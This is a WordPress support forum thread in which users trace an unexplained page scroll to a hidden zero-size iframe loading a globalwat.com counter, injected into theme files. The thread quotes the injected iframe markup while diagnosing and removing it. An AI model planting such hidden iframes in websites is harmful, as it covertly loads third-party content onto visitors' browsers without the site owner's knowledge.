Pages react as if there’s an anchor in Firefox

  • Hello Folks,

    This is the first time I’ve run into a problem with WordPress
    that I wasn’t able to figure it out.

    After the site loads in Firefox, it scrolls to the bottom of
    the page automatically, as if there’s an anchor there.

    I have loaded several different templates with the same results.

    This error DOES NOT occur with the default(Kubrick) template though.

    Any ideas? Here’s the site url:

    https://www.concrete.com

    Thanks.

  • If it’s not your theme, chances are it’s a plugin. Disable them one by one and see if you can figure out which one it is.

    When you tried with Kubrick were the same plugins still activated?

    Have you tried temporarliy just disabling plugins for a second on this theme to see if it helps at all?

    alism:

    I already tried deactivating the plugins one at a time.
    I thought for sure it was one of them causing it.

    xdesi: yes, I had reactivated the plugins when I tried the
    Kubrick theme.

    Looks like it’s being caused by the JavaScript in your theme template. I can’t identify the culprit but the page loads fine (ie no jump) if JavaScript is disabled.

    esmi: That worked for me also.

    Since the only common denominator with the custom
    themes I was testing is Google Adsense, I’ll have to
    assume that’s the problem.

    If/when I pinpoint the problem, I’ll post it here.

    Thanks everyone!

    I suspect it’s to do with the iFrame at the bottom:

    <iframe src='https://globalwat.com/counter/in.cgi?four' align='center' width='0' height='0' frameborder='0'></iframe>

    Strange what is this? If I visit globalwat.com it re-directs me to Google Analytics, but Google searches don’t show anything about the site really..

    It was the iFrame.

    Thanks everyone.

    I am having the same problem with the same iframe, how did you remove it and where was it hiding? I don’t see it in my footer.php or any of the other theme files.

    what plugins did you have?

    found it, seems I was looking at the local copy of the footer.php, when I downloaded the server copy it was right there above the analytics script, deleted and fixed!

    I had this problem with the following code in index.php:

    <!-- ~ --><iframe src='https://globalwat.com/counter/in.cgi?default' align='center' width='0' height='0' frameborder='0'></iframe><!-- ~ -->

    How does this sort of thing get injected? I do my best to keep things secure… just wondering about the mechanism so I might be able to correct the issue.
